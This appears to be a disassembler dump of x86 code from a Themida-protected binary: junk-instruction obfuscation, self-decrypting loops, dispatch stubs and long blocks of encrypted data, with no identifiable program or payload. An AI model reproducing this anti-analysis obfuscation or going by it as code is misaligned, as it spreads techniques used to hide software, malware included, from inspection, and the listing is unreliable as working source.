; ---------------------------------------------------------------------------
db 0B9h
dd 0C9122A4h, 9F163741h, 0A231677Dh, 92B3156Bh
db 2Bh
; ---------------------------------------------------------------------------
loc_5BDD45: ; CODE XREF: Themida_:005BDD23j
push edi
clc
pop ebx
jmp loc_5BDCCC
; ---------------------------------------------------------------------------
db 51h, 13h, 0ECh
dd 2E6A3F50h, 0B581B3F2h, 876E51CFh
; ---------------------------------------------------------------------------
loc_5BDD5C: ; CODE XREF: Themida_:005BDD2Ej
call near ptr loc_5BDD73+2
mov ebx, 0DE5E8023h
loop loc_5BDD71
inc edi
dec eax
aas
shl byte ptr [esi+7923C2D4h], cl
loc_5BDD71: ; CODE XREF: Themida_:005BDD66j
mov cl, ah
loc_5BDD73: ; CODE XREF: Themida_:loc_5BDD5Cp
lds esp, [edx-75h]
; ---------------------------------------------------------------------------
dw 0FD8Dh
; ---------------------------------------------------------------------------
daa
adc [esi], al
pop edx
mov ecx, [ebp+6101699h]
add edx, 6E1Eh
movzx eax, si
push 0
mov [ebp+6102DB1h], esi
pop esi
clc
loc_5BDD98: ; CODE XREF: Themida_:005BDE03j
mov edi, [edx+esi]
pusha
adc edx, 3785E78h
sbb ax, 7C2Dh
popa
sub edi, 2CB85AF3h
jmp loc_5BDDBB
; ---------------------------------------------------------------------------
db 0BDh
dd 33562A1Ch
db 57h, 7Ch, 0E3h
; ---------------------------------------------------------------------------
loc_5BDDBB: ; CODE XREF: Themida_:005BDDAEj
add edi, 1F36654h
mov eax, [ebp+6101CA5h]
add edi, 63465AEFh
mov [ebp+6101AD5h], eax
mov [edx+esi], edi
or [ebp+61023C5h], esi
jmp loc_5BDDF4
; ---------------------------------------------------------------------------
db 75h, 2Dh, 76h
dd 0BBB57C8h, 496E3B0Bh, 0A632219Ch, 58525FB4h
; ---------------------------------------------------------------------------
loc_5BDDF4: ; CODE XREF: Themida_:005BDDDCj
sub esi, 4
sub ecx, 2C702A2Ah
cmp esi, 0FFFF928Ch
jnz loc_5BDD98
xor [ebp+610200Dh], ecx
lea ecx, [ebp+6172ABDh]
call sub_5BDE29
xor al, [ecx+482D9F06h]
in eax, 62h ; PC/XT PPI port C. Bits:
; 0-3: values of DIP switches
; 5: 1=Timer 2 channel out
; 6: 1=I/O channel check
; 7: 1=RAM parity check error occurred.
out dx, eax
mov [edi-44h], cl
add eax, [edi-6Eh]
; =============== S U B R O U T I N E =======================================
sub_5BDE29 proc near ; CODE XREF: Themida_:005BDE15p
adc eax, 2F67AEF4h
pop edx
mov [ebp+61009F5h], ecx
mov ax, di
mov dword ptr [ebp+6102319h], 5874h
push 0
push esi
call sub_5BDE4E
and [esi-3Dh], bl
sub_5BDE29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5BDE4E proc near ; CODE XREF: sub_5BDE29+1Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5BDE4E endp
; ---------------------------------------------------------------------------
dw 0A162h
dd 6287048Ah, 234E89C9h, 1CC1958Bh, 810F0610h, 18h, 0CE8h
dd 0FC396400h, 0A92AB12Ch, 995E555Dh, 0D1CF8183h, 5A17A833h
dd 22C185C7h, 610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 958B84C3h, 6100D61h
dd 1211B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8A5958C3h, 0BD8B50F8h, 6100BADh
dd 0B995FF5Bh, 6A06102Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 6F24C355h, 6F8FA2EDh
dd 4DF3BF66h, 5860Fh, 81660000h, 3ED19DFh, 100C9185h, 0FF006A06h
dd 1031C995h, 0EBC08B06h, 31F98919h, 0EE825E1Ch, 0E7294760h
dd 375BE66Ah, 5ED52280h, 0CBA2D119h, 8D8DB0AEh, 6172B90h
dd 2D219D29h, 8D890610h, 61009F5h, 1952BE66h, 1A6D858Bh
dd 85C70610h, 6102319h, 6518h, 12E977B3h, 0D4000000h, 0DF4618F3h
dd 0CA480CC2h, 2865B9ECh, 0AB744A3Eh, 0C185C75Ch, 61022h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 7B6BC351h, 0FFF8BB16h, 1030C5B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 0CA63A22h, 1252496Ch, 0D78B1CA5h, 95FFC68Bh
dd 6102DB9h, 0BE9h, 0AA581600h, 62AC76E9h, 7C71E170h, 95FF006Ah
dd 61031C9h, 3CEBC08Bh, 0AB6F729Bh, 51AB9749h, 2F2DA4B2h
dd 8B68E787h, 0B440D97h, 0FCCECB02h, 5DF507FBh, 0DBD52149h
dd 21D88ACDh, 4D21D116h, 0F76C3237h, 0A7DEDD11h, 17879F20h
dd 0CE775A18h, 0DC1C0FF0h, 2CF38D8Dh, 6A0617h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 897A1EC3h, 1009F58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 88A98F8Ch, 231985C7h
dd 607C0610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0C6E3A4C3h, 1307F957h, 8B66B74Ah
dd 16860FFAh, 0E9000000h, 11h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
dd 0CC493E19h, 0C185C7D2h, 61022h, 0E9000000h, 0Ch, 5444715h
dd 9B21D710h, 98490251h, 30C5B5FFh, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 161E21C3h
dd 0EFBE86A0h, 9D29CB54h, 6100BDDh, 0AE9h, 0FE8D1600h
dd 37B9FE83h, 0FFAD377Eh, 102DB995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0D4B708D0h
dd 9D95896Dh, 6A06101Ah, 0C995FF00h, 8B061031h, 0CA3CEBC0h
dd 69383034h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh
dd 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h, 8DE84F9h, 68C1E445h
dd 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 0E8B4BCD2h
dd 9, 0D7E55712h, 334BEC5Ch, 68F0FBAh, 31000000h, 1004798Dh
dd 8E85F06h, 18000000h, 3F9EEA16h, 53D9AAA8h, 58C78B66h
dd 13C78158h, 0E8000066h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh
dd 0E982D050h, 12h, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h
dd 0B718EAC0h, 0BA586BE4h, 62D6602Bh, 7979F281h, 0D88162D6h
dd 71BBAF5Fh, 81F5378Bh, 0F0B256C6h, 8102B001h, 0EF5B20EEh
dd 0D99D895Ah, 81061001h, 142DB4F6h, 59858933h, 56061007h
dd 6CC98166h, 8B078F2Ch, 10132185h, 2EF8306h, 14E9h, 0ACE14500h
dd 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 664F4FD7h
dd 89EECB81h, 0F01EA83h, 0FFFFA385h, 8D9D8BFFh, 8D061022h
dd 172EF88Dh, 5E906h, 0FE870000h, 89A502D5h, 1009F58Dh
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 791F8988h, 0AAFE82CEh, 231985C7h, 65700610h
dd 858B0000h, 6100A09h, 4C77BE66h, 22C185C7h, 610h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 937CE7C3h, 9C6A85BFh, 0AE998h, 40940000h, 69A561BEh
dd 0F07C560Dh, 865B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0D30C1BC3h, 29A99D8Bh
dd 95FF0610h, 6102DB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 73C35646h, 0C58AB8C9h, 98E0F50h, 60000000h
dd 0D8D68166h, 615CB064h, 95FF006Ah, 61031C9h, 59EBC08Bh
dd 5BD27244h, 5C56AD43h, 59830FBDh, 56C58865h, 9CA44304h
dd 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h, 0C6DAB8F9h
dd 0EA09AF38h, 73D17887h, 0D38AF631h, 779B0FC5h, 6C0FC0A9h
dd 0B60ECBC2h, 0FC63F092h, 23205BEh, 38684EACh, 4C429571h
dd 735510F3h, 0E1F08075h, 8E8F1h, 0D0B30000h, 669B002Fh
dd 89583E64h, 102025B5h, 7AC08106h, 3100006Dh, 1008AD9Dh
dd 0B906h, 0B50B0000h, 6100D55h, 5A0134FFh, 29419D89h
dd 0C2810610h, 1455BF08h, 6E9h, 94BBA200h, 81C68C6Eh, 8D80D1F2h
dd 8F0F45h, 81000000h, 9EAFA3EAh, 0D4D78035h, 81081489h
dd 0CC95A2EFh, 0AFFABE67h, 0E9815C0Ch, 7971B429h, 48E0Fh
dd 0BF660000h, 0C181AB23h, 7971B425h, 81FE8B66h, 0FF931CF9h
dd 9D850FFFh, 0E9FFFFFFh, 0Ch, 6C7DC276h, 43AA2A48h, 21AB4772h
dd 23E585C6h, 68560610h, 0A9C530DFh, 1D45B5FFh, 858D0610h
dd 613858Ah, 8D8DD0FFh, 61015A5h, 0FF406A51h, 1006C9B5h
dd 1DB5FF06h, 0FF061009h, 0C9B5FFD0h, 0FF061006h, 10091DB5h
dd 9E806h, 0F0CA0000h, 8ECD974Bh, 5ECFC336h, 4EE835Eh
dd 2242CC1h, 22424C1h, 0F7243403h, 0C033241Ch, 5A3034FFh
dd 63C0F281h, 0C2814253h, 7524433Ah, 0DB7CF281h, 1489125Dh
dd 1E88306h, 3B484848h, 850F2404h, 0FFFFFFD8h, 0F519D8Dh
dd 38B0610h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0E6E9C9h
dd 94EF0000h, 9CD70681h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h
dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh
dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
dd 9D744700h, 99E0E312h, 5Eh, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5BFAD3
; ---------------------------------------------------------------------------
push 6173373h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61734A4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 617359Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61736CBh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 617375Dh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 617382Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61738E2h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173970h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173A4Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173BB4h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173CC2h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173E2Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6173F06h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174065h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174185h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174341h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6174417h
jmp loc_5534D8
; ---------------------------------------------------------------------------
add dl, [eax+0Dh]
push ecx
retf 0EB22h
; ---------------------------------------------------------------------------
dw 0E86Fh
dd 0C5540841h, 0F269E522h, 5D4BFF3Eh, 0D211B321h, 0ED2EDF56h
dd 944EA71h, 0E81DC655h, 84877974h, 6BDB4E3Eh, 3253D9D6h
dd 0AF2A4479h, 0DEA0BDFEh, 0DB1CCD8Ch, 598E35FEh, 627980E5h
dd 11B8A188h, 0D24E67FCh, 96CF771Eh, 952E9423h, 3FB2FBFEh
dd 4092397Bh, 0F8000000h, 0DF83BD5Ch, 8B7EF0A4h, 6DCC7C37h
dd 536F53CFh, 0F0F75479h, 0AA951F64h, 59DDC904h, 9178607Dh
dd 67FCD1A0h, 95D27544h, 0BA66C2B8h, 3CD053EBh, 6201B294h
dd 7A8A4687h, 0DD2639h, 32640000h, 39504479h, 1BA76297h
dd 0FB6DCC7Ch, 0C5A1E084h, 590CCFA1h, 0B591C67Dh, 968865C1h
dd 5F1348FFh, 8A38F30Dh, 6A923383h, 0A962D9EEh, 8B11B874h
dd 749233FEh, 0CB488DCBh, 966CCE13h, 0D077FEBAh, 0FB1AE79Bh
dd 61B0EE0h, 7E980382h, 0D8D30ABBh, 9423066Ah, 0BEB28E8Ah
dd 31E526C7h, 463C1135h, 0A64910EAh, 75CA9469h, 0A8637D5Eh
dd 9E15CE0Bh, 83BA72E9h, 1752F88Fh, 5C1E3Bh, 0A91910EEh
dd 4D9E10BDh, 55E4FCD1h, 41B874B3h, 0D611B58Fh, 0BCF7AB2Ah
dd 0F90FBC98h, 37403569h, 124B765Fh, 0FBF0000h, 0E38910CCh
dd 4A930ACh, 0E3880FCBh, 1A332A6h, 0E42006C2h, 1793D276h
dd 30ACEDA0h, 0ECA05A9h, 2FABE087h, 0F949403Ch, 1D6BDB4Fh
dd 7E32F4C0h, 530C8B3Fh, 5C1CAA1Eh, 324C1EBDh, 0DBC704A7h
dd 0D6CA07BCh, 0AA61765Ah, 67FC7C89h, 0FD3CF06Bh, 4A502D09h
dd 7BB8D33h, 0D8CCA8CCh, 617B6566h, 0F0836CE4h, 9A9630DBh
dd 3E759423h, 4F6F42A7h, 0E4F397Bh, 0BD000001h, 4A97932h
dd 775BD7CBh, 0F62FD665h, 0A5518A3Fh, 0DBFAACC1h, 6F36EA29h
dd 6DCC01E9h, 0E8649952h, 62A14316h, 1E95B2AEh, 6F443065h
dd 0B2597368h, 9803F1B1h, 0BC04A833h, 16E8F96Bh, 596E521Ch
dd 0CDB3CDA9h, 233964DEh, 0FBAE8094h, 94233947h, 0CA9FC39Fh
dd 0FDAF2A14h, 37F61CB5h, 294D990Fh, 0BA08037Dh, 5A9423CEh
dd 86F5E2FEh, 1E70D1B2h, 676E0FECh, 0D6FA35D9h, 598E3504h
dd 0CCB4C9ADh, 15C765DDh, 0FCAF819Eh, 9E10BD46h, 0CC9EC29Eh
dd 65DDCCB2h, 819E10BDh, 590BC8A5h, 6B1E401Ah, 9E10BDD7h
dd 0A016332Fh, 93387719h, 4035694Bh, 1AE8F1A5h, 8E000011h
dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh, 0D9CF8BCAh
dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h
dd 6BDB48B2h, 0D7CF5552h, 74206104h, 0AC60DBF0h, 0C16AF16Dh
dd 0A28EB583h, 330F4255h, 0CF744719h, 9382DE92h, 6DCCB12Fh
dd 0C88E6BC7h, 0A9793242h, 57DBC708h, 5710877Bh, 7CC57D2Ch
dd 45216DCCh, 772EAD21h, 0F3D8523Eh, 0B3B4CDA7h, 1E570E6Bh
dd 0F5D2EE72h, 0DC50853Eh, 952DDC02h, 716DCCD8h, 683ED8F5h
dd 43E8585Fh, 1910EA06h, 67FC8488h, 0B5F6972Eh, 3C184DF6h
dd 7114A779h, 0A1454430h, 1ACB8A66h, 34492DD9h, 0B2ADCE77h
dd 6F6C8B8Ch, 4A55AE5Dh, 4C0F659Ah, 7A805D94h, 0F6FDF29Eh
dd 38200BE5h, 0A69BADC4h, 0FF2D6D13h, 9FB458CAh, 721594B0h
dd 6621835h, 89BE65F4h, 0B970EBD5h, 37F06B80h, 511F5502h
dd 0A57145ABh, 102034h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h
dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh
dd 54E35792h, 0C7C276ABh, 498C36F5h, 8B686BDBh, 447932C1h
dd 0BDFEAF2Ah, 211DEA0h, 62D907D9h, 0B2596EAFh, 67FC1EC1h
dd 0BF569C5h, 0A95D9C50h, 0A16ED4D7h, 0AA869423h, 0D9B5A1C6h
dd 0DE587EA6h, 7E5D7C09h, 905CBD6Ch, 932A9E13h, 0BE90B4EFh
dd 5F44F48Dh, 7F5CBE0Ch, 746ED87Fh, 0F68D9E13h, 14527B5Fh
dd 0B35F437Fh, 0DE2FE805h, 4E3F8C1Ah, 0F39FD48Bh, 37F65A6Fh
dd 54000000h, 4C1EBD5Ch, 0FCCA645Dh, 8A9D8267h, 0F67DD525h
dd 0B835A8D6h, 70D8F893h, 0BBF7A54h, 17AD5CD0h, 2894233Fh
dd 78E4A7Fh, 6B7C2863h, 0F55h, 0E71EC695h, 0BD5C3A12h
dd 0BF5D4C1Eh, 2567F72Dh, 98B5F096h, 635A7DE2h, 272CB05h
dd 0A2F134Ah, 0CF171348h, 97698D1Fh, 72E61BC4h, 1B073CE3h
dd 0B2CC0FA6h, 1F17ACF7h, 10EA469Eh, 0F16DA249h, 59984C0Fh
dd 27B4C9ADh, 6A574B80h, 0CBBE904Bh, 942D0FFAh, 6FC32804h
dd 0A15E28A8h, 0EF3E4F5h, 0C7670000h, 9B51C884h, 0BC71E864h
dd 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h
dd 0D6528D41h, 0B773A85Fh, 8141E8D4h, 656BDB4Ah, 4402BC88h
dd 36DCC7Ch, 0EB15E7F4h, 7CAC1615h, 0CC816DCCh, 0A289DB93h
dd 6DCC7C20h, 6F8C68C4h, 0F72CF1B4h, 0D3AD8967h, 502A5F08h
dd 0F9ADE289h, 5FD6607Dh, 327F73A8h, 932638A3h, 0C098B5EEh
dd 14D1A8C9h, 851F4C9Eh, 59B7DA2Bh, 1C51FAB1h, 2BEF0C68h
dd 9AB6EB94h, 311AF32Dh, 80693D40h, 0E61h, 36F235D5h, 56D209BFh
dd 3DF12ADFh, 10CC09BEh, 34A8E789h, 0F498CA36h, 0CF82F9B5h
dd 0E79B1A8Eh, 2A930ACh, 221E11CDh, 0DB4BDB67h, 0D65E3B6Bh
dd 0B08296D7h, 0C1D9ADD9h, 0CC9678CAh, 0A4C09C6Dh, 0F81263B7h
dd 0C499B1CBh, 0CA8050F7h, 637FE38Fh, 3A6F18AFh, 233D3F46h
dd 0CC86DA68h, 0BF24056Dh, 0CBDA9D2Fh, 2BE057D3h, 0AB4AD9EEh
dd 6AF5834Eh, 9126333h, 5CA90000h, 324C1EBDh, 0CC7CCB77h
dd 1A2F2B6Dh, 2C0F4346h, 6BC767F7h, 0E627CA91h, 0F949403Ah
dd 1D9424ACh, 30482541h, 11CD02A9h, 0F8ACE18Ah, 24AC15B1h
dd 16C55494h, 0EA9F1A44h, 0BA61C5B1h, 9424AC08h, 855B70ECh
dd 14CEED86h, 20CDA99Eh, 40310536h, 925B4C58h, 600000Dh
dd 2EAD2164h, 0C8B3F76h, 19A01C55h, 0F6853976h, 0B1971352h
dd 46852755h, 21620392h, 3D782EADh, 1C51FA81h, 0D8D3ADA0h
dd 6BDB446Ah, 32870D8Ah, 39504479h, 22A95D92h, 11C802A1h
dd 0FF71255Ah, 0CC7CB60Ch, 0EED24E6Dh, 1D743AC9h, 3247A115h
dd 6AFFA46Dh, 0A3451433h, 0BE04A15Bh, 431F713Dh, 52F6D34Fh
dd 850h, 0DDE77F6Ch, 84AFE06Ch, 4402DD67h, 36DCC7Ch, 1615E7F4h
dd 67F72D9Ch, 4435D516h, 7884E81Eh, 0A9C39F63h, 88447932h
dd 71255A11h, 94667584h, 14C8FC95h, 83B59A9Eh, 6AA34AA5h
dd 992FC77Dh, 293C10BDh, 22F24031h, 0CDCB1h, 5B9E5000h
dd 79B058DFh, 568F36C5h, 73B053E2h, 4D8C40B7h, 0FD6F9B91h
dd 0C9500C4Bh, 0E473E728h, 0D047033Eh, 8366E217h, 44309279h
dd 0D7D46BDBh, 4E79324Dh, 0CC7CE75Bh, 3F23FF6Dh, 0BAFBAE2Dh
dd 918D6AC6h, 681C51FAh, 26C36261h, 336B29CBh, 7AFABh
dd 0BD5C2100h, 0F85D4C1Eh, 667F72Dh, 0E289502Ah, 1AA31ADh
dd 3591D8CCh, 349424B3h, 652436A5h, 9E14D10Ch, 0DAD603E8h
dd 0D2748E85h, 0C42905F5h, 40310586h, 4E0B9C88h, 0C200000Ch
dd 8A11CD10h, 0A82FABE2h, 8514C801h, 0B229A5E2h, 1D0BBFFEh
dd 92D173E1h, 0ADEE9F16h, 0C904AA31h, 0A8DD8615h, 44473934h
dd 6BDB45FEh, 32139916h, 63143B79h, 3FC22943h, 0FBA7E288h
dd 30A75B77h, 4D053977h, 0F8366856h, 0FEB128DCh, 0FB6D5C1h
dd 0A34F843Bh, 9AEFA3BFh, 1ACB6A09h, 4A2EFDD9h, 0F5A1DA8Fh
dd 28C75C71h, 6AC404CDh, 702E433h, 0D7260000h, 7C4002A9h
dd 0C8A46DCCh, 7C4BF8B3h, 0D2896DCCh, 3135E11Ch, 1610490Ch
dd 46232A41h, 0A1BB20B7h, 0F74F66EAh, 0A8C29E67h, 89457A31h
dd 70245912h, 95677483h, 8E520C6h, 307039F0h, 65F49E15h
dd 0B07287C0h, 3D148DBEh, 800DE03Fh, 15352999h, 0DA51CD9Eh
dd 280CF835h, 0E1999F4Ch, 9F774030h, 0B7436h, 346E800h
dd 0E118D047h, 0FE37EE6Dh, 0DB18CB4Ah, 0F534D85Fh, 0C5375339h
dd 0F168E423h, 0CC4BFF40h, 0D85FDB16h, 4B3EFA2Fh, 4608BA71h
dd 0EFEC6BDBh, 44793225h, 0A75BDE50h, 1BC48F6Ch, 0FB5D3AE6h
dd 7C9C26E5h, 0FC786DCCh, 7CA53CDFh, 5F1A8EC3h, 336B358Eh
dd 4C873BFEh, 173B92Fh, 0D7130000h, 70245D04h, 0A35CD7F4h
dd 0C7858C65h, 1F43D125h, 76AB5473h, 0EA565DC2h, 161A0647h
dd 0F899203Ah, 0CBBEA2B7h, 67FC5DEEh, 95CA8118h, 2896C5B1h
dd 0CB943C4Ah, 11DC19B8h, 0F1397AF4h, 44h, 2A9D75Bh, 6DCC7C40h
dd 52B3C8A4h, 434618C3h, 67FC7C6Eh, 91D8CCA8h, 943C7C35h
dd 7D29640Ah, 826EA75Eh, 0F5C26110h, 5B0E7D45h, 40E90D54h
dd 0C809EC83h, 38397A59h, 0E195CA81h, 0D7006885h, 4A000000h
dd 265B04D7h, 0ACE18A51h, 0F02FE1F8h, 0A9DE8504h, 0DE5D83FDh
dd 3B37EB2Ah, 0CC7CF64Ch, 35120E6Dh, 1C90C57Eh, 0AA6C0942h
dd 0DF5681EFh, 56AB210Ah, 0CB746DCCh, 26382296h, 0CC2EDF63h
dd 1E3B376Dh, 0C9A338BFh, 47BB0CA4h, 0F5D25992h, 2D1828E3h
dd 7CF867FAh, 0A7627C62h, 94219B1Bh, 0C63A1FFBh, 1F7A95DAh
dd 0AE62D9EEh, 0C9909266h, 71565B0Ah, 0A50C624Bh, 2397BB27h
dd 0CB1F094h, 4A04DB12h, 0A9F081Ch, 7E00000Ah, 46D589CCh
dd 64F3679Eh, 51C884BDh, 6EED619Eh, 0C9BF7BBAh, 5E9D4FBDh
dd 79BA6BEAh, 559036C5h, 74A962D9h, 40EBD5B8h, 6BDB4782h
dd 32BF8562h, 6BFF367Eh, 0DAEB8E58h, 0FFAE4F6h, 6DCC12B3h
dd 49883C53h, 0E0FDD95Dh, 0F328DF56h, 7932B137h, 92395044h
dd 0D568E15Dh, 88000004h, 0F5C66663h, 0BE0ED7Ch, 83BD5C41h
dd 73EFA3E0h, 6A637D4Fh, 0F69C8EAh, 87845999h, 67FCEC56h
dd 0D98074F0h, 943C9C6Dh, 24D00DC2h, 0DAC601A5h, 0D6CA09BBh
dd 41E0BF5Ah, 23B68A7Bh, 9427447Fh, 55B5F8FDh, 2A95397Ah
dd 0F7000002h, 0CC7C5F02h, 0F0EB0A6Dh, 2BDE00DEh, 6DCC7C97h
dd 7CE45E4Dh, 24006DCCh, 59CBF06Ch, 68F206A3h, 2CAE5572h
dd 0B667F7A9h, 0C56D9AB5h, 5E7B94E9h, 2BAEC09Ch, 0B18B3F74h
dd 2E4B822Ah, 9C0FEA5h, 6EC44E4Eh, 0DFD4C0A4h, 72E903D8h
dd 938F83BAh, 0A2E7A2B6h, 649E15BBh, 1CC16308h, 0D7CF4030h
dd 8FCCEh, 7BBE7000h, 599038BFh, 76AF56E5h, 539033C2h
dd 6DAC60D7h, 5D8FFBF1h, 69F06CABh, 44D387C8h, 70E7639Eh
dd 0E3C682B7h, 409032D9h, 77746BDBh, 447932ADh, 5D923950h
dd 30CFF4A9h, 49053AF1h, 43DE477h, 40371410h, 336B356Dh
dd 1744Dh, 7932BF00h, 2A542A44h, 0CC7CC37Fh, 6047236Dh
dd 6DCC7CE2h, 55512602h, 0E4588D36h, 8963787Fh, 0FC11B9A2h
dd 25D14D67h, 2396C876h, 6BAC5D94h, 316820B7h, 8E25D645h
dd 83225142h, 90D17447h, 0B46B80E4h, 397B4059h, 245912C9h
dd 2FDAF470h, 94239E93h, 6EE2F773h, 47h, 83BD5CDCh, 0AFC1A5DEh
dd 0FC7CD7FCh, 954E0D67h, 9BB0B460h, 0EA718BE7h, 34F20746h
dd 2383D965h, 0E8873C94h, 7CB76BEEh, 0C8CFAC88h, 397B3705h
dd 0CDE5h, 0AA60DB00h, 6104836Fh, 42174420h, 98C21958h
dd 3203C99Eh, 0CD02A979h, 731F560Eh, 0A81FD3EFh, 0BAD1C504h
dd 9F23E611h, 776DCC7Ch, 0AC2BD7FBh, 0D2ACBEF3h, 0CC7C6BD7h
dd 0BA8F8B6Dh, 45311A04h, 6D001619h, 38A08B60h, 16DCC49h
dd 0EF380C4Ah, 18465023h, 9423803Ch, 98BCF5ACh, 96A385C6h
dd 283934BCh, 0D6EF5356h, 2B076DCCh, 417F2A4Eh, 0A167FA1Bh
dd 7C30ABC5h, 56FA813Dh, 5DCCB217h, 0B2624A04h, 79421h
dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh
dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh
dd 4268DAD1h, 0F8C6BDBh, 5B04D785h, 0E1F67A26h, 6577B65Ah
dd 0D7F431D6h, 0FA2FD85Fh, 7932A83Eh, 51412A44h, 0FC2F022Dh
dd 63622439h, 52D387BCh, 260h, 28BD5CAAh, 0CC7CC181h, 3749256Dh
dd 0CC7CCE74h, 264A266Dh, 2DB35554h, 0CF4B67F7h, 0B3CA7423h
dd 57299424h, 0AB0AB416h, 2338AF30h, 56E5E180h, 0A27E72B3h
dd 50447F23h, 0AD00F7D4h, 8D39830Bh, 1F0h, 7C5F02FFh, 0EB0A6DCCh
dd 0D12BDEF0h, 0A967F72Dh, 0ECDB3CDh, 914A1F56h, 0B229A5DAh
dd 0E3D0C4F9h, 66F507D4h, 979B87BEh, 0AEEB9EC2h, 589E14CEh
dd 61816FDCh, 0F7AF4031h, 6B8EEh, 377A2C00h, 154CF483h
dd 326B2299h, 0F4CFF76h, 29681C9Bh, 194BB7B5h, 0F5843877h
dd 20971354h, 0FC7B2F6Ah, 0AF9A0E43h, 4364DECDh, 23806BDBh
dd 44793299h, 67923950h, 0CC7C1EA4h, 567AF66Dh, 0D611B584h
dd 7531462Ah, 45EC8318h, 0DEDE609Eh, 4E2D9594h, 6DC96DCCh
dd 73565280h, 97BB97CCh, 97955823h, 4975336Ah, 0D7000001h
dd 50447932h, 0E15D9239h, 94667584h, 2D95946Ah, 0C96DCC7Ch
dd 5A76806Dh, 0D2153E9h, 481633F0h, 74F067FCh, 386DD980h
dd 0F390943Ch, 0E658995Ch, 0A3C8397Ah, 0BC15004h, 0E859E7D4h
dd 4F7EF207h, 80000000h, 2BD718B9h, 5C9A3247h, 8D4C1EBDh
dd 4101A8D9h, 0A56DCC7Ch, 7DF9ADC9h, 0A0917860h, 4467FC7Ch
dd 0C499CE75h, 0E7AE62BEh, 9423835Fh, 0AE613DF0h, 2AA15571h
dd 0D0574B82h, 0DE91902Fh, 5571F5A1h, 75700FA4h, 397B369Ch
dd 0A17Ch, 7932CE00h, 0FDAF2A44h, 0D74ED2BEh, 23E3F833h
dd 0D5C100A4h, 2CD80DB6h, 0DC1F6ADh, 0C900A833h, 878459DDh
dd 6DCCF651h, 904C812Ah, 11DABDAEh, 0EC1C7885h, 74676E0Fh
dd 3691AF5Ah, 0F5719805h, 16C805DBh, 0CF804944h, 69A1EFDCh
dd 8EB3CEB6h, 0F4E02B9h, 29681C9Bh, 5BCC2C4h, 4F584C4Ah
dd 559h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h, 5CD00FC1h
